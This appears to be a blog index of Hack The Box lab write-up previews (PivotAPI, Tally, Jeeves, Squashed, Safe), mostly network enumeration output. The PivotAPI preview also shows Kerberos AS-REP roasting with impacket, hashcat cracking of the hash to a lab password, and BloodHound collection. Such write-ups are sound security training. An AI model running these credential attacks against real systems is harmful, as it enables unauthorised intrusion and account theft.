Hero Image
[HTB] Machine: PivotAPI

PivotAPI

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.10.240 --min-rate 5000                                                                              
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 03:10 BST
Nmap scan report for 10.10.10.240 (10.10.10.240)
Host is up (0.10s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49708/tcp open  unknown
52843/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 65.93 seconds

└─$ nmap -Pn -p21,22,53,88,135,139,389,445,464,593,636,1433,3268,3269,9389 -sC -sV 10.10.10.240 --min-rate 5000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 03:12 BST
Nmap scan report for 10.10.10.240 (10.10.10.240)
Host is up (0.10s latency).

PORT     STATE    SERVICE       VERSION
21/tcp   open     ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-19-21  03:06PM               103106 10.1.1.414.6453.pdf
| 02-19-21  03:06PM               656029 28475-linux-stack-based-buffer-overflows.pdf
| 02-19-21  12:55PM              1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
| 02-19-21  03:06PM              1018160 ExploitingSoftware-Ch07.pdf
| 08-08-20  01:18PM               219091 notes1.pdf
| 08-08-20  01:34PM               279445 notes2.pdf
| 08-08-20  01:41PM                  105 README.txt
|_02-19-21  03:06PM              1301120 RHUL-MA-2009-06.pdf
22/tcp   open     ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   3072 fa:19:bb:8d:b6:b6:fb:97:7e:17:80:f5:df:fd:7f:d2 (RSA)
|   256 44:d0:8b:cc:0a:4e:cd:2b:de:e8:3a:6e:ae:65:dc:10 (ECDSA)
|_  256 93:bd:b6:e2:36:ce:72:45:6c:1d:46:60:dd:08:6a:44 (ED25519)
53/tcp   open     domain        Simple DNS Plus
88/tcp   open     kerberos-sec  Microsoft Windows Kerberos (server time: 2023-10-05 19:12:42Z)
135/tcp  open     msrpc         Microsoft Windows RPC
139/tcp  open     netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  filtered ldap
445/tcp  open     microsoft-ds?
464/tcp  filtered kpasswd5
593/tcp  open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open     tcpwrapped
1433/tcp open     ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.10.240:1433: 
|     Target_Name: LICORDEBELLOTA
|     NetBIOS_Domain_Name: LICORDEBELLOTA
|     NetBIOS_Computer_Name: PIVOTAPI
|     DNS_Domain_Name: LicorDeBellota.htb
|     DNS_Computer_Name: PivotAPI.LicorDeBellota.htb
|     DNS_Tree_Name: LicorDeBellota.htb
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.10.10.240:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-10-05T19:05:41
|_Not valid after:  2053-10-05T19:05:41
|_ssl-date: 2023-10-05T19:13:30+00:00; -7h00m01s from scanner time.
3268/tcp open     ldap          Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb0., Site: Default-First-Site-Name)
3269/tcp open     tcpwrapped
9389/tcp open     mc-nmf        .NET Message Framing
Service Info: Host: PIVOTAPI; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-10-05T19:12:54
|_  start_date: N/A
|_clock-skew: mean: -7h00m01s, deviation: 0s, median: -7h00m01s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.10 seconds
  • smb
└─$ smbclient -N -L //10.10.10.240                                                              
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.240 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
  • dns
└─$ dig axfr LicorDeBellota.htb @PivotAPI.LicorDeBellota.htb                                                   

; <<>> DiG 9.19.17-1-Debian <<>> axfr LicorDeBellota.htb @PivotAPI.LicorDeBellota.htb
;; global options: +cmd
; Transfer failed.
  • ldapsearch
└─$ ldapsearch -H ldap://LicorDeBellota.htb -x -s base namingcontexts           
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=LicorDeBellota,DC=htb
namingcontexts: CN=Configuration,DC=LicorDeBellota,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=LicorDeBellota,DC=htb
namingcontexts: DC=DomainDnsZones,DC=LicorDeBellota,DC=htb
namingcontexts: DC=ForestDnsZones,DC=LicorDeBellota,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

└─$ ldapsearch -H ldap://LicorDeBellota.htb -x -b "DC=LicorDeBellota,DC=htb"
# extended LDIF
#
# LDAPv3
# base <DC=LicorDeBellota,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1
  • No results for rpc
  • ftp
└─$ ftp anonymous@10.10.10.240
Connected to 10.10.10.240.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||57367|)
150 Opening ASCII mode data connection.
02-19-21  03:06PM               103106 10.1.1.414.6453.pdf
02-19-21  03:06PM               656029 28475-linux-stack-based-buffer-overflows.pdf
02-19-21  12:55PM              1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
02-19-21  03:06PM              1018160 ExploitingSoftware-Ch07.pdf
08-08-20  01:18PM               219091 notes1.pdf
08-08-20  01:34PM               279445 notes2.pdf
08-08-20  01:41PM                  105 README.txt
02-19-21  03:06PM              1301120 RHUL-MA-2009-06.pdf
226 Transfer complete.
  • Running exiftool on pdf files shows LicorDeBellota.htb\kaorz
======== notes2.pdf
ExifTool Version Number         : 12.67
File Name                       : notes2.pdf
Directory                       : .
File Size                       : 279 kB
File Modification Date/Time     : 2020:08:08 12:34:25+01:00
File Access Date/Time           : 2023:10:06 19:12:03+01:00
File Inode Change Date/Time     : 2023:10:06 19:12:03+01:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.5
Linearized                      : No
Page Count                      : 5
XMP Toolkit                     : Image::ExifTool 12.03
Creator                         : Kaorz
Publisher                       : LicorDeBellota.htb
Producer                        : cairo 1.10.2 (http://cairographics.org)

Foothold

  • Let’s check if user is AS-REP-roastable
└─$ impacket-GetNPUsers -dc-ip PivotAPI.LicorDeBellota.htb LicorDeBellota.htb/kaorz -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Getting TGT for kaorz
$krb5asrep$23$kaorz@LICORDEBELLOTA.HTB:117660010b88116ef19ce2f9e608d1d9$a8f47a80fddd556b91bb360af849916358388168cf2ed0c2783c95ff09d799d504477fefe0d1a9ab33a92243939260e558b739cedd2a8c3d61bf85ae56360069cd38a4f14b04865afdbbbf99a3816da14b41058a0249c62c180d50337a6e3c27da5cdde876ca8b4f70f1d5624c1f3358e0a451bb5ec9cb3ee580148951680f5d06f2ce8c11bf61cb8600cbb290dd046a12ad9c8cae68e4ca9706c904189e4ef0a192f8cc192e6286241547ae151111d074323e54a174b945156365f6db2f80d9b7ec558ffa64b7fcd93206f055ecfbf973fa4fff67f20ea88d63fdc29d6aea709c7da2d8073ef9f7fcc3f36a39160138e0679042f7fd8441
  • Let’s crack it
    • kaorz:Roper4155
└─$ hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 4.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-12th Gen Intel(R) Core(TM) i5-12400, 1435/2934 MB (512 MB allocatable), 2MCU
...
$krb5asrep$23$kaorz@LICORDEBELLOTA.HTB:117660010b88116ef19ce2f9e608d1d9$a8f47a80fddd556b91bb360af849916358388168cf2ed0c2783c95ff09d799d504477fefe0d1a9ab33a92243939260e558b739cedd2a8c3d61bf85ae56360069cd38a4f14b04865afdbbbf99a3816da14b41058a0249c62c180d50337a6e3c27da5cdde876ca8b4f70f1d5624c1f3358e0a451bb5ec9cb3ee580148951680f5d06f2ce8c11bf61cb8600cbb290dd046a12ad9c8cae68e4ca9706c904189e4ef0a192f8cc192e6286241547ae151111d074323e54a174b945156365f6db2f80d9b7ec558ffa64b7fcd93206f055ecfbf973fa4fff67f20ea88d63fdc29d6aea709c7da2d8073ef9f7fcc3f36a39160138e0679042f7fd8441:Roper4155
  • The creds didn’t work for ssh
└─$ sshpass -p 'Roper4155' ssh kaorz@10.10.10.240
Warning: Permanently added '10.10.10.240' (ED25519) to the list of known hosts.
Permission denied, please try again.
  • No SPNs
└─$ impacket-GetUserSPNs LicorDeBellota.htb/Kaorz:'Roper4155' -dc-ip 10.10.10.240  
Impacket v0.11.0 - Copyright 2023 Fortra

No entries found!
  • No access to mysql
└─$ impacket-mssqlclient LicorDeBellota.htb/Kaorz:'Roper4155'@10.10.10.240 -windows-auth 
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[-] ERROR(PIVOTAPI\SQLEXPRESS): Line 1: Error de inicio de sesión del usuario 'LICORDEBELLOTA\Kaorz'.

User

  • Let’s check bloodhound
└─$ bloodhound-python -u kaorz -p 'Roper4155' -d licordebellota.htb -dc licordebellota.htb -ns 10.10.10.240 --zip
INFO: Found AD domain: licordebellota.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: licordebellota.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Found 28 users
INFO: Connecting to LDAP server: licordebellota.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 58 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: PivotAPI.LicorDeBellota.htb
INFO: Done in 00M 16S
INFO: Compressing output into 20231007112624_bloodhound.zip
  • Nothing interesting
    • Domain Users

Wednesday, October 4, 2023 | 21 minutes Read
Hero Image
[HTB] Machine: Tally

Tally

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.10.59 --min-rate 10000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-30 20:46 BST
Warning: 10.10.10.59 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.59 (10.10.10.59)
Host is up (0.10s latency).
Not shown: 60269 filtered tcp ports (no-response), 5257 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
81/tcp    open  hosts2-ns
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
808/tcp   open  ccproxy-http
1433/tcp  open  ms-sql-s
5985/tcp  open  wsman
15567/tcp open  unknown
32843/tcp open  unknown
32844/tcp open  unknown
32846/tcp open  unknown
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 83.60 seconds

└─$ nmap -Pn -p21,80,81,135,139,445,808,1433,5985,15567,32843,32844,32846,47001,49664-49670 -sC -sV 10.10.10.59 --min-rate 10000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-30 20:51 BST
Nmap scan report for 10.10.10.59 (10.10.10.59)
Host is up (0.10s latency).

PORT      STATE    SERVICE            VERSION
21/tcp    open     ftp                Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open     http               Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-title: Home
|_Requested resource was http://10.10.10.59/_layouts/15/start.aspx#/default.aspx
|_http-generator: Microsoft SharePoint
81/tcp    filtered hosts2-ns
135/tcp   open     msrpc              Microsoft Windows RPC
139/tcp   open     netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open     microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
808/tcp   filtered ccproxy-http
1433/tcp  open     ms-sql-s           Microsoft SQL Server 2016 13.00.1601.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-09-30T19:38:29
|_Not valid after:  2053-09-30T19:38:29
| ms-sql-info: 
|   10.10.10.59:1433: 
|     Version: 
|       name: Microsoft SQL Server 2016 RTM
|       number: 13.00.1601.00
|       Product: Microsoft SQL Server 2016
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2023-09-30T19:52:36+00:00; -3s from scanner time.
| ms-sql-ntlm-info: 
|   10.10.10.59:1433: 
|     Target_Name: TALLY
|     NetBIOS_Domain_Name: TALLY
|     NetBIOS_Computer_Name: TALLY
|     DNS_Domain_Name: TALLY
|     DNS_Computer_Name: TALLY
|_    Product_Version: 10.0.14393
5985/tcp  filtered wsman
15567/tcp open     http               Microsoft IIS httpd 10.0
| http-ntlm-info: 
|   Target_Name: TALLY
|   NetBIOS_Domain_Name: TALLY
|   NetBIOS_Computer_Name: TALLY
|   DNS_Domain_Name: TALLY
|   DNS_Computer_Name: TALLY
|_  Product_Version: 10.0.14393
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|   Negotiate
|_  NTLM
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title.
32843/tcp open     http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
32844/tcp filtered unknown
32846/tcp open     storagecraft-image StorageCraft Image Manager
47001/tcp filtered winrm
49664/tcp filtered unknown
49665/tcp filtered unknown
49666/tcp filtered unknown
49667/tcp filtered unknown
49668/tcp filtered unknown
49669/tcp open     msrpc              Microsoft Windows RPC
49670/tcp open     msrpc              Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -2s, deviation: 0s, median: -3s
| smb2-time: 
|   date: 2023-09-30T19:52:30
|_  start_date: 2023-09-30T19:38:08

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.85 seconds
  • Web server

Saturday, September 30, 2023 | 10 minutes Read
Hero Image
[HTB] Machine: Jeeves

Jeeves

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.10.63 -T4             
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-01 07:05 BST
Nmap scan report for 10.10.10.63 (10.10.10.63)
Host is up (0.092s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
445/tcp   open  microsoft-ds
50000/tcp open  ibm-db2

└─$ nmap -Pn -p80,135,445,50000 -sC -sV 10.10.10.63 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-01 07:13 BST
Nmap scan report for 10.10.10.63 (10.10.10.63)
Host is up (0.12s latency).

PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Ask Jeeves
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2023-09-01T11:12:45
|_  start_date: 2023-09-01T09:45:58
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 4h59m24s, deviation: 0s, median: 4h59m24s
  • Web Server

Friday, September 1, 2023 | 7 minutes Read
Hero Image
[HTB] Machine: Squashed

Squashed

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.11.191 -T4                                                                                          
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-31 14:22 BST
Nmap scan report for 10.10.11.191 (10.10.11.191)
Host is up (0.14s latency).
Not shown: 65527 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
2049/tcp  open  nfs
38053/tcp open  unknown
47709/tcp open  unknown
52131/tcp open  unknown
57917/tcp open  unknown

└─$ nmap -Pn -p22,80,111,2049,38053,47709,52131,57917 -sC -sV 10.10.11.191 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-31 14:33 BST
Nmap scan report for 10.10.11.191 (10.10.11.191)
Host is up (0.15s latency).

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Built Better
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      37895/udp   mountd
|   100005  1,2,3      39773/tcp6  mountd
|   100005  1,2,3      47709/tcp   mountd
|   100005  1,2,3      52511/udp6  mountd
|   100021  1,3,4      38053/tcp   nlockmgr
|   100021  1,3,4      42869/tcp6  nlockmgr
|   100021  1,3,4      43633/udp   nlockmgr
|   100021  1,3,4      53905/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open  nfs      3-4 (RPC #100003)
38053/tcp open  nlockmgr 1-4 (RPC #100021)
47709/tcp open  mountd   1-3 (RPC #100005)
52131/tcp open  mountd   1-3 (RPC #100005)
57917/tcp open  mountd   1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Web Server

Monday, August 28, 2023 | 7 minutes Read
Hero Image
[HTB] Machine: Safe

Safe

Enumeration

  • nmap
└─$ nmap -sC -sV -Pn 10.10.10.147
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-24 17:07 BST
Nmap scan report for 10.10.10.147 (10.10.10.147)
Host is up (0.11s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 6d7c813d6a3df95f2e1f6a97e500bade (RSA)
|   256 997e1e227672da3cc9617d74d78033d2 (ECDSA)
|_  256 6a6bc38e4b28f76085b162ff54bcd8d6 (ED25519)
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.25 (Debian)
1337/tcp open  waste?
| fingerprint-strings: 
|   DNSStatusRequestTCP: 
|     12:07:15 up 1:02, 0 users, load average: 0.07, 0.03, 0.09
|   DNSVersionBindReqTCP: 
|     12:07:10 up 1:02, 0 users, load average: 0.08, 0.03, 0.09
|   GenericLines: 
|     12:06:57 up 1:02, 0 users, load average: 0.10, 0.04, 0.09
|     What do you want me to echo back?
|   GetRequest: 
|     12:07:03 up 1:02, 0 users, load average: 0.09, 0.04, 0.09
|     What do you want me to echo back? GET / HTTP/1.0
|   HTTPOptions: 
|     12:07:04 up 1:02, 0 users, load average: 0.09, 0.04, 0.09
|     What do you want me to echo back? OPTIONS / HTTP/1.0
|   Help: 
|     12:07:20 up 1:02, 0 users, load average: 0.06, 0.03, 0.09
|     What do you want me to echo back? HELP
|   NULL: 
|     12:06:57 up 1:02, 0 users, load average: 0.10, 0.04, 0.09
|   RPCCheck: 
|     12:07:05 up 1:02, 0 users, load average: 0.08, 0.04, 0.09
|   RTSPRequest: 
|     12:07:04 up 1:02, 0 users, load average: 0.09, 0.04, 0.09
|     What do you want me to echo back? OPTIONS / RTSP/1.0
|   SSLSessionReq, TerminalServerCookie: 
|     12:07:21 up 1:02, 0 users, load average: 0.06, 0.03, 0.09
|     What do you want me to echo back?
|   TLSSessionReq: 
|     12:07:22 up 1:02, 0 users, load average: 0.06, 0.03, 0.09
|_    What do you want me to echo back?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.93%I=7%D=6/24%Time=649714C5%P=x86_64-pc-linux-gnu%r(NU
SF:LL,3E,"\x2012:06:57\x20up\x20\x201:02,\x20\x200\x20users,\x20\x20load\x
SF:20average:\x200\.10,\x200\.04,\x200\.09\n")%r(GenericLines,63,"\x2012:0
SF:6:57\x20up\x20\x201:02,\x20\x200\x20users,\x20\x20load\x20average:\x200
SF:\.10,\x200\.04,\x200\.09\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20ec
SF:ho\x20back\?\x20\r\n")%r(GetRequest,71,"\x2012:07:03\x20up\x20\x201:02,
SF:\x20\x200\x20users,\x20\x20load\x20average:\x200\.09,\x200\.04,\x200\.0
SF:9\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20GET\x20
SF:/\x20HTTP/1\.0\r\n")%r(HTTPOptions,75,"\x2012:07:04\x20up\x20\x201:02,\
SF:x20\x200\x20users,\x20\x20load\x20average:\x200\.09,\x200\.04,\x200\.09
SF:\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20OPTIONS\
SF:x20/\x20HTTP/1\.0\r\n")%r(RTSPRequest,75,"\x2012:07:04\x20up\x20\x201:0
SF:2,\x20\x200\x20users,\x20\x20load\x20average:\x200\.09,\x200\.04,\x200\
SF:.09\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20OPTIO
SF:NS\x20/\x20RTSP/1\.0\r\n")%r(RPCCheck,3E,"\x2012:07:05\x20up\x20\x201:0
SF:2,\x20\x200\x20users,\x20\x20load\x20average:\x200\.08,\x200\.04,\x200\
SF:.09\n")%r(DNSVersionBindReqTCP,3E,"\x2012:07:10\x20up\x20\x201:02,\x20\
SF:x200\x20users,\x20\x20load\x20average:\x200\.08,\x200\.03,\x200\.09\n")
SF:%r(DNSStatusRequestTCP,3E,"\x2012:07:15\x20up\x20\x201:02,\x20\x200\x20
SF:users,\x20\x20load\x20average:\x200\.07,\x200\.03,\x200\.09\n")%r(Help,
SF:67,"\x2012:07:20\x20up\x20\x201:02,\x20\x200\x20users,\x20\x20load\x20a
SF:verage:\x200\.06,\x200\.03,\x200\.09\n\nWhat\x20do\x20you\x20want\x20me
SF:\x20to\x20echo\x20back\?\x20HELP\r\n")%r(SSLSessionReq,64,"\x2012:07:21
SF:\x20up\x20\x201:02,\x20\x200\x20users,\x20\x20load\x20average:\x200\.06
SF:,\x200\.03,\x200\.09\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x
SF:20back\?\x20\x16\x03\n")%r(TerminalServerCookie,63,"\x2012:07:21\x20up\
SF:x20\x201:02,\x20\x200\x20users,\x20\x20load\x20average:\x200\.06,\x200\
SF:.03,\x200\.09\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\
SF:?\x20\x03\n")%r(TLSSessionReq,64,"\x2012:07:22\x20up\x20\x201:02,\x20\x
SF:200\x20users,\x20\x20load\x20average:\x200\.06,\x200\.03,\x200\.09\n\nW
SF:hat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20\x16\x03\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.88 seconds
  • gobuster
└─$ gobuster dir -u http://10.10.10.147 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x html,txt,php
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.147
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              html,txt,php
[+] Timeout:                 10s
===============================================================
2023/06/24 16:22:12 Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 292]
/index.html           (Status: 200) [Size: 10787]
/manual               (Status: 301) [Size: 313] [--> http://10.10.10.147/manual/]
/.html                (Status: 403) [Size: 292]
/server-status        (Status: 403) [Size: 300]
  • Web server has a hint about the port 1337
    • Visting path /myapp downloads myapp
    • Let’s check port 1337

Friday, June 23, 2023 | 5 minutes Read